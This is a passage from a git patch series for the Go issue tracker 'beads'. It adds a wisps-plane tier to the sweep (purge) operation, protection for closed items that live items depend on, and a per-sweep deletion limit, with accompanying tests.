}) + t.Run("ProtectsLiveDependentsAcrossPlanes", func(t *testing.T) { + conformance.RunSweeperProtectsLiveDependentsAcrossPlanes(t, ctx, fixture) + }) + t.Run("LimitTakesTheOldestClosedFirst", func(t *testing.T) { + conformance.RunSweeperLimitTakesTheOldestClosedFirst(t, ctx, fixture) + }) t.Run("LeavesNoHistoryBeadsToTheDurableTier", func(t *testing.T) { conformance.RunSweeperLeavesNoHistoryBeadsToTheDurableTier(t, ctx, fixture) }) @@ -99,6 +114,16 @@ func newEmbeddedSweeperFixture(t *testing.T, te *testEnv, prefix string) conform } return nil }, + AddDependencies: func(ctx context.Context, req issueops.AddDependenciesRequest) error { + // Through the DependencyEditor ROLE, which routes each edge to its + // source plane's dependency table itself. + editor, err := te.store.DependencyEditor() + if err != nil { + return err + } + _, err = editor.AddDependencies(ctx, req) + return err + }, AddComment: func(ctx context.Context, issueID, author, text string) error { // Through the Commenter ROLE, which resolves the plane itself, so // the case can cite from a wisp's comment without knowing how this diff --git a/internal/storage/issueops/search.go b/internal/storage/issueops/search.go index bd19def52..df0ff5b95 100644 --- a/internal/storage/issueops/search.go +++ b/internal/storage/issueops/search.go @@ -32,6 +32,35 @@ func SearchIssueIDsInTx(ctx context.Context, tx DBTX, query string, filter types return searchInTx(ctx, tx, query, filter, idProjection) } +// SearchWispsPlaneInTx searches the wisps plane ALONE: every row stored in +// the wisps table, whatever its ephemeral, no_history or wisp_type values, and +// never the issues table. +// +// It is not SearchIssuesInTx with Ephemeral=true. That filter adds an +// "ephemeral = 1" clause, which drops the no-history rows stored beside the +// wisps, and it falls back to the issues table when the wisps plane is empty. +// This answers "what is in the wisps table" — the unit +// issueops.SweepWispsPlane selects by — and a database with no wisps table +// answers with nothing. +func SearchWispsPlaneInTx(ctx context.Context, tx DBTX, query string, filter types.IssueFilter) ([]*types.Issue, error) { + proj := issueProjection + if filter.Lite { + proj = issueLiteProjection + } + results, err := searchTableInTxT(ctx, tx, query, filter, WispsFilterTables, proj) + if err != nil { + if missingOptionalWispTable(err) { + return nil, nil + } + return nil, fmt.Errorf("search wisps plane: %w", err) + } + results = trimToSearchLimit(results, filter.Limit) + if err := EnforceMaxRowsCap(len(results), filter.MaxRows, filter.MaxRowsSource); err != nil { + return nil, err + } + return results, nil +} + // searchProjection describes how to project, scan, and dedup search results. // Adding a narrow-projection variant means adding a new projection literal — // not a parallel top-level function or wisp-merge wrapper, which is how the diff --git a/internal/storage/issueops/sweep.go b/internal/storage/issueops/sweep.go index a609579e6..e27a3b671 100644 --- a/internal/storage/issueops/sweep.go +++ b/internal/storage/issueops/sweep.go @@ -31,7 +31,11 @@ import ( func SweepInTx(ctx context.Context, tx *sql.Tx, req publicops.SweepRequest) (publicops.SweepResult, error) { result := publicops.SweepResult{DryRun: req.DryRun} - candidates, err := SearchIssuesInTx(ctx, tx, "", workapi.BuildSweepCandidateFilter(req)) + search := SearchIssuesInTx + if workapi.SweepSearchesWispsPlaneOnly(req) { + search = SearchWispsPlaneInTx + } + candidates, err := search(ctx, tx, "", workapi.BuildSweepCandidateFilter(req)) if err != nil { return publicops.SweepResult{}, fmt.Errorf("listing sweep candidates: %w", err) } @@ -39,6 +43,14 @@ func SweepInTx(ctx context.Context, tx *sql.Tx, req publicops.SweepRequest) (pub kept, skips := workapi.FilterSweepCandidates(candidates, req.IDPattern, req.ClosedBefore) result.Skipped = skips + if req.ProtectLiveDependents { + protected, err := sweepLiveDependentsInTx(ctx, tx, kept) + if err != nil { + return publicops.SweepResult{}, err + } + kept, result.Skipped.LiveDependent = workapi.PartitionSweepLiveDependents(kept, protected) + } + if req.ProtectReferenced { referenced, err := sweepReferencedInTx(ctx, tx, kept) if err != nil { @@ -49,6 +61,8 @@ func SweepInTx(ctx context.Context, tx *sql.Tx, req publicops.SweepRequest) (pub result.Skipped.Referenced = count } + kept, result.Remaining = workapi.LimitSweepCandidates(kept, req.Limit) + if len(kept) == 0 { return result, nil } @@ -73,6 +87,46 @@ func SweepInTx(ctx context.Context, tx *sql.Tx, req publicops.SweepRequest) (pub return result, nil } +// sweepLiveDependentsInTx returns which of the candidates a live row depends +// on through a protecting edge (issueops.SweepRequest.ProtectLiveDependents), +// on the SAME transaction the candidates came off. Edges are read from both +// dependency tables, and the sources' statuses from both planes. +// +// Reading the custom statuses is required for the reason sweepReferencedInTx +// gives: a missed custom active status would under-protect. +func sweepLiveDependentsInTx(ctx context.Context, tx *sql.Tx, candidates []*types.Issue) (map[string]bool, error) { + if len(candidates) == 0 { + return nil, nil + } + ids := make([]string, len(candidates)) + for i, issue := range candidates { + ids[i] = issue.ID + } + incoming, err := GetDependentRecordsForIssuesInTx(ctx, tx, ids) + if err != nil { + return nil, fmt.Errorf("reading dependents for live-dependent protection: %w", err) + } + sources := workapi.SweepLiveDependentSources(incoming) + if len(sources) == 0 { + return nil, nil + } + custom, err := ResolveCustomStatusesDetailedInTx(ctx, tx) + if err != nil { + return nil, fmt.Errorf("reading custom statuses for live-dependent protection: %w", err) + } + liveRows, err := SearchIssuesInTx(ctx, tx, "", workapi.BuildSweepLiveDependentScanFilter(sources, custom)) + if err != nil { + return nil, fmt.Errorf("reading dependent statuses for live-dependent protection: %w", err) + } + live := make(map[string]bool, len(liveRows)) + for _, issue := range liveRows { + if issue != nil { + live[issue.ID] = true + } + } + return workapi.SweepLiveDependentTargets(incoming, live), nil +} + // sweepReferencedInTx returns which of the candidates are cited by a row that // is not done, reading the not-done set and its comments on the SAME // transaction the candidates came off. diff --git a/internal/storage/uow/notifying_parity_test.go b/internal/storage/uow/notifying_parity_test.go index 4e527c71d..5bccc063e 100644 --- a/internal/storage/uow/notifying_parity_test.go +++ b/internal/storage/uow/notifying_parity_test.go @@ -159,6 +159,7 @@ func TestRecordingIssueUseCaseCoversItsSurface(t *testing.T) { "PreviewDeleteWisp": reads, "SearchIssueIDs": reads, "SearchIssues": reads, + "SearchWispsPlane": reads, "SearchIssuesWithCounts": reads, "DeleteIssue": deletes, "DeleteIssues": deletes, diff --git a/internal/storage/uow/sweeper.go b/internal/storage/uow/sweeper.go index 3ce242c43..415833178 100644 --- a/internal/storage/uow/sweeper.go +++ b/internal/storage/uow/sweeper.go @@ -4,6 +4,7 @@ import ( "context" "fmt" + "github.com/steveyegge/beads/internal/storage/dberrors" "github.com/steveyegge/beads/internal/storage/domain" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/workapi" @@ -76,14 +77,22 @@ func (s *sweeper) Sweep(ctx context.Context, req publicops.SweepRequest) (public func sweepInUOW(ctx context.Context, uw UnitOfWork, req publicops.SweepRequest) (publicops.SweepResult, error) { result := publicops.SweepResult{DryRun: req.DryRun} - page, err := uw.IssueUseCase().SearchIssues(ctx, "", workapi.BuildSweepCandidateFilter(req)) + candidates, err := sweepCandidatesInUOW(ctx, uw, req) if err != nil { return publicops.SweepResult{}, fmt.Errorf("listing sweep candidates: %w", err) } - kept, skips := workapi.FilterSweepCandidates(page.Items, req.IDPattern, req.ClosedBefore) + kept, skips := workapi.FilterSweepCandidates(candidates, req.IDPattern, req.ClosedBefore) result.Skipped = skips + if req.ProtectLiveDependents { + protected, err := sweepLiveDependentsInUOW(ctx, uw, kept) + if err != nil { + return publicops.SweepResult{}, err + } + kept, result.Skipped.LiveDependent = workapi.PartitionSweepLiveDependents(kept, protected) + } + if req.ProtectReferenced { referenced, err := sweepReferencedInUOW(ctx, uw, kept) if err != nil { @@ -94,6 +103,8 @@ func sweepInUOW(ctx context.Context, uw UnitOfWork, req publicops.SweepRequest) result.Skipped.Referenced = count } + kept, result.Remaining = workapi.LimitSweepCandidates(kept, req.Limit) + if len(kept) == 0 { return result, nil } @@ -116,6 +127,73 @@ func sweepInUOW(ctx context.Context, uw UnitOfWork, req publicops.SweepRequest) return result, nil } +// sweepCandidatesInUOW reads the request's candidate rows: the wisps table +// alone for the wisps-plane tier, a tier query across both planes otherwise. +func sweepCandidatesInUOW(ctx context.Context, uw UnitOfWork, req publicops.SweepRequest) ([]*types.Issue, error) { + filter := workapi.BuildSweepCandidateFilter(req) + if workapi.SweepSearchesWispsPlaneOnly(req) { + return uw.IssueUseCase().SearchWispsPlane(ctx, "", filter) + } + page, err := uw.IssueUseCase().SearchIssues(ctx, "", filter) + if err != nil { + return nil, err + } + return page.Items, nil +} + +// sweepLiveDependentsInUOW returns which of the candidates a live row depends +// on through a protecting edge, on the unit of work the candidates came off. +// +// Edges are read from BOTH dependency tables: a wisp's edges live in +// wisp_dependencies and an issue's in dependencies, and the source of an edge +// pointing at a candidate can be either. The sources' statuses are then read +// across both planes by SearchIssues. +func sweepLiveDependentsInUOW(ctx context.Context, uw UnitOfWork, candidates []*types.Issue) (map[string]bool, error) { + if len(candidates) == 0 { + return nil, nil + } + ids := make([]string, len(candidates)) + for i, issue := range candidates { + ids[i] = issue.ID + } + edges := domain.DepListFilter{Types: publicops.SweepLiveDependentEdgeTypes, Direction: domain.DepDirectionIn} + durable, err := uw.DependencyUseCase().ListByIssueIDs(ctx, ids, edges) + if err != nil { + return nil, fmt.Errorf("reading dependents for live-dependent protection: %w", err) + } + wisp, err := uw.DependencyUseCase().ListByWispIDs(ctx, ids, edges) + if err != nil && !dberrors.IsTableNotExist(err) { + return nil, fmt.Errorf("reading wisp dependents for live-dependent protection: %w", err) + } + incoming := make(map[string][]*types.Dependency, len(durable.Incoming)+len(wisp.Incoming)) + for target, deps := range durable.Incoming { + incoming[target] = append(incoming[target], deps...) + } + for target, deps := range wisp.Incoming { + incoming[target] = append(incoming[target], deps...) + } + + sources := workapi.SweepLiveDependentSources(incoming) + if len(sources) == 0 { + return nil, nil + } + custom, err := uw.ConfigUseCase().GetCustomStatuses(ctx) + if err != nil { + return nil, fmt.Errorf("reading custom statuses for live-dependent protection: %w", err) + } + page, err := uw.IssueUseCase().SearchIssues(ctx, "", workapi.BuildSweepLiveDependentScanFilter(sources, custom)) + if err != nil { + return nil, fmt.Errorf("reading dependent statuses for live-dependent protection: %w", err) + } + live := make(map[string]bool, len(page.Items)) + for _, issue := range page.Items { + if issue != nil { + live[issue.ID] = true + } + } + return workapi.SweepLiveDependentTargets(incoming, live), nil +} + // sweepReferencedInUOW returns which of the candidates a not-done row cites, // reading the not-done set and its comments on the same unit of work the // candidates came off. Comments are read for the whole not-done set in ONE diff --git a/internal/storage/uow/sweeper_contract_test.go b/internal/storage/uow/sweeper_contract_test.go index 4ccec5a9a..e054b5226 100644 --- a/internal/storage/uow/sweeper_contract_test.go +++ b/internal/storage/uow/sweeper_contract_test.go @@ -35,6 +35,21 @@ func TestSweeperContract(t *testing.T) { t.Run("TreatsALegacyTypedWispAsEphemeralTier", func(t *testing.T) { conformance.RunSweeperTreatsALegacyTypedWispAsEphemeralTier(t, ctx, fixture) }) + t.Run("WispsPlaneClearsTheWholeWispsTable", func(t *testing.T) { + conformance.RunSweeperWispsPlaneClearsTheWholeWispsTable(t, ctx, fixture) + }) + t.Run("WispsPlaneRequiresAFilter", func(t *testing.T) { + conformance.RunSweeperWispsPlaneRequiresAFilter(t, ctx, fixture) + }) + t.Run("ProtectsLiveDependents", func(t *testing.T) { + conformance.RunSweeperProtectsLiveDependents(t, ctx, fixture) + }) + t.Run("ProtectsLiveDependentsAcrossPlanes", func(t *testing.T) { + conformance.RunSweeperProtectsLiveDependentsAcrossPlanes(t, ctx, fixture) + }) + t.Run("LimitTakesTheOldestClosedFirst", func(t *testing.T) { + conformance.RunSweeperLimitTakesTheOldestClosedFirst(t, ctx, fixture) + }) t.Run("LeavesNoHistoryBeadsToTheDurableTier", func(t *testing.T) { conformance.RunSweeperLeavesNoHistoryBeadsToTheDurableTier(t, ctx, fixture) }) @@ -98,6 +113,20 @@ func newUOWSweeperFixture(t *testing.T, ctx context.Context, prefix string) conf return "seed legacy sweep rows", nil }) }, + AddDependencies: func(ctx context.Context, req issueops.AddDependenciesRequest) error { + // Through the DependencyEditor ROLE, which routes each edge to its + // source plane's dependency table itself. + ds, ok := provider.(DependencyEditorSource) + if !ok { + return fmt.Errorf("provider %T does not offer the DependencyEditor accessor", provider) + } + editor, err := ds.DependencyEditor() + if err != nil { + return err + } + _, err = editor.AddDependencies(ctx, req) + return err + }, AddComment: func(ctx context.Context, issueID, author, text string) error { // Through the Commenter ROLE, which resolves the plane itself, so // the case can cite from a wisp's comment without knowing how this diff --git a/internal/workapi/sweep.go b/internal/workapi/sweep.go index 3466558e2..24af4ec50 100644 --- a/internal/workapi/sweep.go +++ b/internal/workapi/sweep.go @@ -29,13 +29,13 @@ import ( // by calling the role. See issueops.SweepRequest. func ValidateSweepRequest(in issueops.SweepRequest) error { switch in.Tier { - case issueops.SweepEphemeral, issueops.SweepDurable: + case issueops.SweepEphemeral, issueops.SweepDurable, issueops.SweepWispsPlane: case "": - return fmt.Errorf("%w: sweep requires a tier (%q or %q), and has no default", - issueops.ErrValidation, issueops.SweepEphemeral, issueops.SweepDurable) + return fmt.Errorf("%w: sweep requires a tier (%q, %q or %q), and has no default", + issueops.ErrValidation, issueops.SweepEphemeral, issueops.SweepDurable, issueops.SweepWispsPlane) default: - return fmt.Errorf("%w: %q is not a sweep tier; use %q or %q", - issueops.ErrValidation, in.Tier, issueops.SweepEphemeral, issueops.SweepDurable) + return fmt.Errorf("%w: %q is not a sweep tier; use %q, %q or %q", + issueops.ErrValidation, in.Tier, issueops.SweepEphemeral, issueops.SweepDurable, issueops.SweepWispsPlane) } if in.IDPattern != "" { // filepath.Match reports a malformed pattern on any subject, so one @@ -47,14 +47,32 @@ func ValidateSweepRequest(in issueops.SweepRequest) error { issueops.ErrValidation, in.IDPattern, err) } } - if in.Tier == issueops.SweepDurable && in.ClosedBefore == nil && in.IDPattern == "" { - return fmt.Errorf("%w: a durable sweep requires a closed-before cutoff or an id pattern; "+ + if in.Limit < 0 { + return fmt.Errorf("%w: sweep limit %d is negative; use 0 for no limit", issueops.ErrValidation, in.Limit) + } + if sweepRequiresFilter(in.Tier) && in.ClosedBefore == nil && in.IDPattern == "" { + return fmt.Errorf("%w: a %s sweep requires a closed-before cutoff or an id pattern; "+ "pass the pattern \"*\" to sweep every closed issue deliberately", - issueops.ErrValidation) + issueops.ErrValidation, in.Tier) } return nil } +// sweepRequiresFilter reports whether a tier reaches durable-tier rows and so +// carries the require-a-filter gate. The wisps plane does: it holds no-history +// beads (issueops.SweepWispsPlane). +func sweepRequiresFilter(tier issueops.SweepTier) bool { + return tier == issueops.SweepDurable || tier == issueops.SweepWispsPlane +} + +// SweepSearchesWispsPlaneOnly reports whether a request's candidates come from +// the wisps table alone (issueops.SweepWispsPlane) rather than from a tier +// query merged across both planes. Every Sweeper implementation branches on +// this one answer, so the plane a tier reads is decided in one place. +func SweepSearchesWispsPlaneOnly(in issueops.SweepRequest) bool { + return in.Tier == issueops.SweepWispsPlane +} + // BuildSweepCandidateFilter turns a sweep request into the storage-level // filter that selects its CANDIDATES: the closed rows of one tier, bounded by // the cutoff. @@ -66,8 +84,21 @@ func ValidateSweepRequest(in issueops.SweepRequest) error { // // Call ValidateSweepRequest first; this builder assumes a validated request // and does not re-refuse one. +// +// For SweepWispsPlane the filter carries NO tier constraint: the plane is the +// selection, and the implementation applies it by searching the wisps table +// alone (SweepSearchesWispsPlaneOnly). Every closed row there is a candidate, +// whatever its ephemeral, no_history or wisp_type values. func BuildSweepCandidateFilter(in issueops.SweepRequest) types.IssueFilter { closed := types.StatusClosed + if SweepSearchesWispsPlaneOnly(in) { + filter := types.IssueFilter{Status: &closed} + if in.ClosedBefore != nil { + cutoff := *in.ClosedBefore + filter.ClosedBefore = &cutoff + } + return filter + } ephemeral := in.Tier == issueops.SweepEphemeral // EphemeralTier, not Ephemeral: the tier owns typed wisps whether or not // their minting set the ephemeral flag (older creators set wisp_type but @@ -271,3 +302,91 @@ func PartitionSweepReferenced(candidates []*types.Issue, referenced map[string]b } return kept, referencedCount, sample } + +// BuildSweepLiveDependentScanFilter selects which of a candidate set's +// dependents are LIVE for issueops.SweepRequest.ProtectLiveDependents: the +// named sources, restricted to the not-done statuses. It is the same status +// vocabulary the reference scan asks, so "live" means one thing in a sweep. +func BuildSweepLiveDependentScanFilter(dependentIDs []string, custom []types.CustomStatus) types.IssueFilter { + return types.IssueFilter{IDs: dependentIDs, Statuses: NotDoneStatusesForSweep(custom)} +} + +// SweepLiveDependentSources returns the ids of the rows that depend on a +// candidate through a protecting edge (issueops.SweepLiveDependentEdgeTypes), +// given the edges pointing at the candidates keyed by target. The result is +// sorted and de-duplicated, so the follow-up status read is deterministic. +func SweepLiveDependentSources(incoming map[string][]*types.Dependency) []string { + seen := make(map[string]bool) + for _, deps := range incoming { + for _, dep := range deps { + if dep != nil && isSweepProtectingEdge(dep.Type) { + seen[dep.IssueID] = true + } + } + } + ids := make([]string, 0, len(seen)) + for id := range seen { + ids = append(ids, id) + } + sort.Strings(ids) + return ids +} + +// SweepLiveDependentTargets returns the candidates a live row depends on: the +// targets of protecting edges whose source is in live. +func SweepLiveDependentTargets(incoming map[string][]*types.Dependency, live map[string]bool) map[string]bool { + protected := make(map[string]bool) + for target, deps := range incoming { + for _, dep := range deps { + if dep != nil && isSweepProtectingEdge(dep.Type) && live[dep.IssueID] { + protected[target] = true + break + } + } + } + return protected +} + +func isSweepProtectingEdge(t types.DependencyType) bool { + for _, protecting := range issueops.SweepLiveDependentEdgeTypes { + if t == protecting { + return true + } + } + return false +} + +// PartitionSweepLiveDependents splits candidates into the ones no live row +// depends on and a count of the ones some live row does, preserving candidate +// order. +func PartitionSweepLiveDependents(candidates []*types.Issue, protected map[string]bool) (kept []*types.Issue, protectedCount int) { + kept = make([]*types.Issue, 0, len(candidates)) + for _, issue := range candidates { + if protected[issue.ID] { + protectedCount++ + continue + } + kept = append(kept, issue) + } + return kept, protectedCount +} + +// LimitSweepCandidates applies issueops.SweepRequest.Limit to the candidates +// that survived every protection: the oldest-closed first (closed_at +// ascending, then id, so two runs over one snapshot pick the same rows), at +// most limit of them. It returns the kept rows and how many were left behind. +// A non-positive limit keeps everything. The input slice is not reordered. +func LimitSweepCandidates(candidates []*types.Issue, limit int) (kept []*types.Issue, remaining int) { + if limit <= 0 || len(candidates) <= limit { + return candidates, 0 + } + ordered := append([]*types.Issue(nil), candidates...) + sort.SliceStable(ordered, func(i, j int) bool { + a, b := ordered[i], ordered[j] + if a.ClosedAt != nil && b.ClosedAt != nil && !a.ClosedAt.Equal(*b.ClosedAt) { + return a.ClosedAt.Before(*b.ClosedAt) + } + return a.ID < b.ID + }) + return ordered[:limit], len(ordered) - limit +} diff --git a/internal/workapi/sweep_test.go b/internal/workapi/sweep_test.go index 9c4093cd0..af26fd9fb 100644 --- a/internal/workapi/sweep_test.go +++ b/internal/workapi/sweep_test.go @@ -353,3 +353,119 @@ func sweepCandidateIDs(issues []*types.Issue) []string { } return ids } + +func TestValidateSweepRequestGatesTheWispsPlane(t *testing.T) { + cutoff := time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC) + if err := ValidateSweepRequest(issueops.SweepRequest{Tier: issueops.SweepWispsPlane}); !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("unfiltered wisps-plane sweep error = %v, want ErrValidation: it reaches no-history (durable-tier) rows", err) + } + for _, req := range []issueops.SweepRequest{ + {Tier: issueops.SweepWispsPlane, ClosedBefore: &cutoff}, + {Tier: issueops.SweepWispsPlane, IDPattern: "*"}, + } { + if err := ValidateSweepRequest(req); err != nil { + t.Errorf("ValidateSweepRequest(%+v) = %v, want nil", req, err) + } + } +} + +func TestBuildSweepCandidateFilterForTheWispsPlaneHasNoTierConstraint(t *testing.T) { + cutoff := time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC) + req := issueops.SweepRequest{Tier: issueops.SweepWispsPlane, ClosedBefore: &cutoff} + if !SweepSearchesWispsPlaneOnly(req) { + t.Fatal("SweepSearchesWispsPlaneOnly(wisps-plane) = false; the plane IS the selection") + } + filter := BuildSweepCandidateFilter(req) + if filter.Status == nil || *filter.Status != types.StatusClosed { + t.Fatalf("Status = %v, want closed", filter.Status) + } + if filter.EphemeralTier != nil || filter.Ephemeral != nil { + t.Fatalf("wisps-plane filter carries a flag constraint (EphemeralTier=%v, Ephemeral=%v); "+ + "that would drop no-history rows", filter.EphemeralTier, filter.Ephemeral) + } + if filter.ClosedBefore == nil || !filter.ClosedBefore.Equal(cutoff) || filter.ClosedBefore == &cutoff { + t.Fatalf("ClosedBefore = %v, want a copy of %v", filter.ClosedBefore, cutoff) + } + for _, tier := range []issueops.SweepTier{issueops.SweepEphemeral, issueops.SweepDurable} { + if SweepSearchesWispsPlaneOnly(issueops.SweepRequest{Tier: tier}) { + t.Errorf("SweepSearchesWispsPlaneOnly(%s) = true; tier queries merge both planes", tier) + } + } +} + +func TestSweepLiveDependentsCountOnlyProtectingEdgesFromLiveSources(t *testing.T) { + dep := func(source, target string, typ types.DependencyType) *types.Dependency { + return &types.Dependency{IssueID: source, DependsOnID: target, Type: typ} + } + incoming := map[string][]*types.Dependency{ + "root": {dep("step-open", "root", types.DepParentChild), dep("step-done", "root", types.DepParentChild)}, + "tracked": {dep("convoy", "tracked", types.DepTracks)}, + "gate": {dep("waiter", "gate", types.DepBlocks)}, + "linked": {dep("reader", "linked", types.DepRelated)}, + "orphan": {dep("step-done", "orphan", types.DepParentChild), nil}, + } + + sources := SweepLiveDependentSources(incoming) + if want := []string{"convoy", "step-done", "step-open", "waiter"}; strings.Join(sources, ",") != strings.Join(want, ",") { + t.Fatalf("SweepLiveDependentSources = %v, want %v (sorted, protecting edges only)", sources, want) + } + + live := map[string]bool{"step-open": true, "convoy": true, "waiter": true, "reader": true} + protected := SweepLiveDependentTargets(incoming, live) + for _, id := range []string{"root", "tracked", "gate"} { + if !protected[id] { + t.Errorf("%s not protected; a live source depends on it through a protecting edge", id) + } + } + for _, id := range []string{"linked", "orphan"} { + if protected[id] { + t.Errorf("%s protected; its only live source is a non-protecting edge or none is live", id) + } + } + + candidates := []*types.Issue{{ID: "root"}, {ID: "linked"}, {ID: "tracked"}, {ID: "orphan"}} + kept, count := PartitionSweepLiveDependents(candidates, protected) + if count != 2 || len(kept) != 2 || kept[0].ID != "linked" || kept[1].ID != "orphan" { + t.Fatalf("PartitionSweepLiveDependents = %d kept %v, count %d; want [linked orphan] and 2", len(kept), kept, count) + } +} + +func TestValidateSweepRequestRefusesANegativeLimit(t *testing.T) { + err := ValidateSweepRequest(issueops.SweepRequest{Tier: issueops.SweepEphemeral, Limit: -1}) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("negative Limit error = %v, want ErrValidation", err) + } + if err := ValidateSweepRequest(issueops.SweepRequest{Tier: issueops.SweepEphemeral, Limit: 0}); err != nil { + t.Fatalf("zero Limit (no cap) error = %v, want nil", err) + } +} + +func TestLimitSweepCandidatesTakesTheOldestClosedFirst(t *testing.T) { + at := func(day int) *time.Time { + ts := time.Date(2026, 1, day, 0, 0, 0, 0, time.UTC) + return &ts + } + candidates := []*types.Issue{ + {ID: "c", ClosedAt: at(3)}, + {ID: "b2", ClosedAt: at(1)}, + {ID: "a", ClosedAt: at(2)}, + {ID: "b1", ClosedAt: at(1)}, + } + + kept, remaining := LimitSweepCandidates(candidates, 3) + var got []string + for _, issue := range kept { + got = append(got, issue.ID) + } + if strings.Join(got, ",") != "b1,b2,a" || remaining != 1 { + t.Fatalf("LimitSweepCandidates(3) = %v, remaining %d; want [b1 b2 a] (closed_at, then id) and 1", got, remaining) + } + if candidates[0].ID != "c" { + t.Fatal("LimitSweepCandidates reordered the caller's slice") + } + for _, limit := range []int{0, 4, 10} { + if kept, remaining := LimitSweepCandidates(candidates, limit); len(kept) != 4 || remaining != 0 { + t.Errorf("LimitSweepCandidates(%d) kept %d, remaining %d; want all 4 and 0", limit, len(kept), remaining) + } + } +} diff --git a/issueops/dependencyeditor.go b/issueops/dependencyeditor.go index 2951dd66e..f9b0683eb 100644 --- a/issueops/dependencyeditor.go +++ b/issueops/dependencyeditor.go @@ -29,6 +29,7 @@ const ( DepDiscoveredFrom = types.DepDiscoveredFrom DepRepliesTo = types.DepRepliesTo DepWaitsFor = types.DepWaitsFor + DepTracks = types.DepTracks ) // DependencyEdge is one directed edge: IssueID depends on DependsOnID, with diff --git a/issueops/sweeper.go b/issueops/sweeper.go index 46f4e528b..4e60eda0a 100644 --- a/issueops/sweeper.go +++ b/issueops/sweeper.go @@ -27,6 +27,21 @@ const ( // it — carries the require-a-filter refusal SweepRequest.ClosedBefore // describes. SweepDurable SweepTier = "durable" + // SweepWispsPlane clears CLOSED rows by STORAGE PLANE rather than by + // tier: every closed row stored in the wisps table, whatever its flags — + // ephemeral wisps and no-history beads alike. `bd purge --wisps-plane`. + // + // It is the one tier that is NOT disjoint from the other two, and that is + // the point of it. A no-history bead lives in the wisps plane but is + // durable-tier (it is not ephemeral and carries no wisp_type), so neither + // SweepEphemeral nor SweepDurable can say "the wisps table" — the unit an + // orchestrator's retention policy is written in. Conversely a legacy + // typed wisp stored in the issues table is ephemeral-tier and NOT in this + // plane. + // + // Because it reaches durable-tier rows, it carries the durable tier's + // require-a-filter gate (SweepRequest.ClosedBefore). + SweepWispsPlane SweepTier = "wisps-plane" ) // SweepRequest describes one bulk clearance of closed rows: which tier, which @@ -68,6 +83,9 @@ type SweepRequest struct { // says so with IDPattern "*", which is a deliberate keystroke rather than // an omitted one. // + // SweepWispsPlane carries the same gate, because the wisps plane holds + // no-history beads, which are durable-tier. + // // The EPHEMERAL tier carries no such gate: an unfiltered sweep of closed // wisps is the ordinary use of `bd purge`, and the tier is transient by // definition. @@ -108,6 +126,33 @@ type SweepRequest struct { // `bd purge` does not, because a wisp's citations are as transient as the // wisp. ProtectReferenced bool + // ProtectLiveDependents skips candidates that a LIVE row depends on + // through a structural edge — a closed parent whose child is still open, + // a closed bead a live convoy tracks, a closed blocker of a live bead — + // so a sweep never deletes the root, container or gate of work that is + // still in progress. + // + // WHICH EDGES are SweepLiveDependentEdgeTypes: parent-child, tracks and + // blocks, from either plane's dependency table. Other edge types (related, + // discovered-from, ...) are links rather than structure and do not protect. + // + // WHICH ROWS ARE LIVE is the same not-done set ProtectReferenced asks: the + // built-in active statuses (open, in_progress, blocked, deferred, pinned, + // hooked) plus every configured custom status whose category is not + // "done", with the same REQUIRED read of the custom statuses. + // + // Unlike ProtectReferenced it is a stored-edge lookup, not a text scan, so + // it costs one read of the edges pointing at the candidates and one of + // their sources. `bd purge` always asks for it; `bd prune` does not. + ProtectLiveDependents bool + // Limit, when positive, caps how many rows ONE sweep deletes, taking the + // OLDEST-CLOSED first (closed_at ascending, then id). The rest are left + // for the next call and counted in SweepResult.Remaining, so a caller can + // drain a large backlog in bounded transactions instead of one that grows + // with the backlog and can outlive the caller's deadline. It applies after + // every protection, so it caps rows that would actually go. Zero means no + // cap; a negative value is ErrValidation. + Limit int // DryRun reports what the sweep WOULD do and deletes nothing. The result // is otherwise the same result — the same counts, the same skips, the same // refusals — computed against the same snapshot the real sweep would have @@ -132,6 +177,9 @@ type SweepSkips struct { // 0 when that field is false; a caller that reads a 0 without having asked // for the protection has learned nothing about whether rows are cited. Referenced int + // LiveDependent counts candidates skipped by ProtectLiveDependents, under + // the same always-0-when-not-asked rule as Referenced. + LiveDependent int // NotClosed, UnknownClosedAt and ClosedAtOrAfterCutoff count candidates // the tier's own query returned and the sweep rechecked and rejected: a // status that is not closed, a closed row with no closed_at stamp at all, @@ -173,6 +221,10 @@ type SweepResult struct { Events int // Skipped reports the candidates the sweep held back and why. Skipped SweepSkips + // Remaining is how many rows the sweep WOULD also have deleted but left + // because of SweepRequest.Limit. Zero when there is no limit or the + // backlog fit; a caller loops while it is non-zero. + Remaining int // ReferencedIDs is a BOUNDED SAMPLE of the ids Skipped.Referenced counts — // at most SweepReferencedSampleLimit of them, in the order the candidate // query returned them. It is a sample and not the set: a caller that needs @@ -184,6 +236,11 @@ type SweepResult struct { ReferencedIDs []string } +// SweepLiveDependentEdgeTypes are the edge types through which a live row +// protects a closed candidate under SweepRequest.ProtectLiveDependents. It is +// published so a caller can state the same policy without copying the list. +var SweepLiveDependentEdgeTypes = []DependencyType{DepParentChild, DepTracks, DepBlocks} + // SweepReferencedSampleLimit bounds SweepResult.ReferencedIDs. It is published // so a caller can tell a truncated sample from a complete one by comparing the // slice's length against it, rather than against a number copied out of an @@ -255,17 +312,20 @@ type Sweeper interface { // // THE ORDER THE NARROWING HAPPENS IN IS PART OF THE ANSWER, because the // skip counters are counted along the way: the tier's closed rows, then - // IDPattern, then the pinned and closed_at rechecks, then the reference - // protection. A pinned row excluded by the pattern is therefore NOT - // counted in Skipped.Pinned — it was never a candidate — and the counters - // describe the set the request actually reached. + // IDPattern, then the pinned and closed_at rechecks, then the + // live-dependent protection, then the reference protection, then Limit + // (oldest-closed first). A pinned row + // excluded by the pattern is therefore NOT counted in Skipped.Pinned — it + // was never a candidate — and the counters describe the set the request + // actually reached. // // REFUSALS, all ErrValidation and all before anything is read: // // - an unset or unrecognized Tier; - // - a SweepDurable request with neither ClosedBefore nor IDPattern (see - // SweepRequest.ClosedBefore for why this lives here); - // - an IDPattern that is not a well-formed glob. + // - a SweepDurable or SweepWispsPlane request with neither ClosedBefore + // nor IDPattern (see SweepRequest.ClosedBefore for why this lives here); + // - an IDPattern that is not a well-formed glob; + // - a negative Limit. // // A REQUEST THAT MATCHES NOTHING IS A ZERO RESULT AND A NIL ERROR, not a // not-found: an empty set of closed rows is the steady state of a swept From fc4d7d395872d633d785a189d46478838001e697 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 28 Sep 2026 02:03:51 -0700 Subject: [PATCH 171/624] ci(bazel): PR-gate parity lanes (docker, pure-Go, 